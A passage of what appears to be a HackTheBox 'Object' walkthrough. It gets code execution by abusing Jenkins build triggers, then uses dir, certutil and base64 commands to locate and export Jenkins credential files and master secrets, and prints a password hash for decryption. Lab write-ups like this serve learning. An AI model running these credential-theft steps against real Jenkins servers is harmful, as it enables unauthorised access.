object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c readlist object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c readvar object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c peers object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c associations object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c monlist object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c listpeers object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c sysinfo object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0630.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The other checks returned &lt;code&gt;xxxxRequest timed out&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;389 LDAP&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://serverfault.com/questions/661535/querying-ldap-server-on-udp" target="_blank" rel="noopener"&#10; &gt;https://serverfault.com/questions/661535/querying-ldap-server-on-udp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0631.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, it can only be used for authentication. At this point I already had UDP port 88, UDP port 389, and TCP port 5985 for authentication.&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful over UDP, and &lt;code&gt;dnsenum&lt;/code&gt; does not support UDP, so manual brute-forcing was the only option left. I decided to use FFUF to brute-force subdomains.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.11.132 -H &amp;#34;Host: FUZZ.object.htb&amp;#34; --hh 29932&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;By now I was not even completely sure whether this was a domain controller. I turned my attention back to TCP ports 80 and 8080. While brute-forcing subdomains, I also brute-forced directories. I tried running &lt;code&gt;cewl&lt;/code&gt; against port 80 and using the resulting list to brute-force passwords on port 8080, but that did not work.&lt;/p&gt;&#10;&lt;p&gt;I could not just sit around waiting for the brute-force jobs. Since the service on port 8080 allowed user registration and access to the admin panel, I figured those features had to be connected somehow. Registered Jenkins users had no projects, so I decided to look up Jenkins tutorials, create a project myself, and deploy it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://juejin.cn/post/7077957170121146376" target="_blank" rel="noopener"&#10; &gt;https://juejin.cn/post/7077957170121146376&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/" target="_blank" rel="noopener"&#10; &gt;https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the blog posts above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0632.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0633.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0634.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Plenty of blog posts explain how to write this; just search for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3" target="_blank" rel="noopener"&#10; &gt;https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/" target="_blank" rel="noopener"&#10; &gt;https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/&lt;/a&gt; # This post covers the entire process, though the commands are not very detailed.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, after following the whole process, I found that the Build button was missing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0635.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That meant I could not execute it, probably because my privileges were insufficient. I started Googling how to trigger a build.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b" target="_blank" rel="noopener"&#10; &gt;https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b&lt;/a&gt;&#9;# This one introduces all of them.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/" target="_blank" rel="noopener"&#10; &gt;https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/&lt;/a&gt; # This one is more comprehensive than the previous post.&lt;/p&gt;&#10;&lt;p&gt;I tried them one by one, following the tutorials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0636.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The first is a scheduled task&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The post also explained the scheduled-task syntax. &lt;code&gt;* * * * *&lt;/code&gt; means building once every minute.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0637.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a result here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0638.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The console also produced output, which confirmed that commands could be executed here. For learning purposes, I decided to look at the other options too—at least the ones that were not too difficult to set up.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The second is the SCM (Source Code Management) trigger&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The SCM trigger is one of the most commonly used build triggers in Jenkins. It starts a build whenever it detects a change in the source-code repository. This trigger is crucial for continuous integration because it ensures the latest code changes are automatically tested and integrated into the main codebase.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0639.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This also uses five &lt;code&gt;*&lt;/code&gt; characters to check once per minute. As long as I make a commit, the build should complete within a minute.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0640.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a project. As soon as Jenkins downloaded and built it, the build step would execute. Unfortunately, it kept saying that it could not connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0641.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A build also ran here, but it failed because I had not configured the Git tool. That happened because I did not understand the setup at first. I fixed it later—as the configuration screenshot above shows, I set it to &lt;code&gt;git&lt;/code&gt;—but it still threw an error at this point.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The third is Trigger builds remotely (e.g., from scripts)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0642.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The access method is also very simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://object.htb:8080/job/123124/build?token=124124" target="_blank" rel="noopener"&#10; &gt;http://object.htb:8080/job/123124/build?token=124124&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;For the token, I just use the number I entered above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0643.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked too.&lt;/p&gt;&#10;&lt;p&gt;In the end, I chose the URL trigger. Running it every minute would make the build history grow endlessly, which would be a pain.&lt;/p&gt;&#10;&lt;p&gt;Time to prepare a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0644.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Strangely, the connection failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0645.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I was sure it was not a port issue; I simply could not connect. Perhaps all outbound traffic was blocked. That would also explain why the Git attempt earlier failed even though the project definitely existed. In that case, I could only use the intended way to get a shell: WinRM. Before using WinRM, though, I needed an account.&lt;/p&gt;&#10;&lt;p&gt;Before trying my idea, I decided to inspect the firewall configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the command syntax here; everything is documented on the page above.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell /c &amp;#34;Get-NetFirewallRule -PolicyStore ActiveStore -Direction Outbound -Action Block -Enabled True&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-PolicyStore All firewall rules in the active store&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Direction Outbound policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Action Block policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Enabled Enabled state&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0646.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, all outbound traffic was blocked. At this point, the only way to get a shell was to obtain information through this web service and then connect over WinRM. Before I achieved RCE through the build project, there had been a hint about where the &lt;code&gt;admin&lt;/code&gt; password was stored. The Linux location I found at the time was &lt;code&gt;confing.xml&lt;/code&gt;; on Windows, it apparently looked like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0647.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was it. I could simply use &lt;code&gt;dir /S&lt;/code&gt; to find it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0648.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Indeed, I did not find &lt;code&gt;confing.xml&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;I searched again. The hint said the password file was called &lt;code&gt;config.xml&lt;/code&gt;, so I searched for it again, this time including hidden files.&lt;/del&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd C:\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir /S jenkins*&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir /S /a config.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;Barring any surprises, this should be it.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0649.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0650.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;Exactly as described here.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post gave me the answer: the filename &lt;code&gt;config.xml&lt;/code&gt; was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0651.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The password was right there. I had seen this result earlier, but at the time I did not realize it was the password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;username&amp;gt;oliver&amp;lt;/username&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;password&amp;gt;{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}&amp;lt;/password&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;passwordHash&amp;gt;#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW&amp;lt;/passwordHash&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not find a blog post explaining the decryption process. I only found a few GitHub projects.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/hoto/jenkins-credentials-decryptor" target="_blank" rel="noopener"&#10; &gt;https://github.com/hoto/jenkins-credentials-decryptor&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one, for example, was very detailed, so I followed it. If it did not work, I would keep looking.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/credentials.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/jobs/example-folder/config.xml - Possible location&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I needed these files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$JENKINS_HOME/secrets/master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\&amp;gt;dir /S /a master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Volume in drive C has no label.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Volume Serial Number is 212C-60B7&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Directory of c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $JENKINS_HOME/secrets/hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0652.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It appeared to be a binary file. That was easy enough to handle: whenever I run into a binary file, I can usually Base64-encode it and decode it again. I found this method:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -f -encode c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0653.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2L&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;base64 -d 1.txt &amp;gt; hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started decrypting by downloading the file from the project above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0654.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error. I went back to following the GitHub instructions.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span 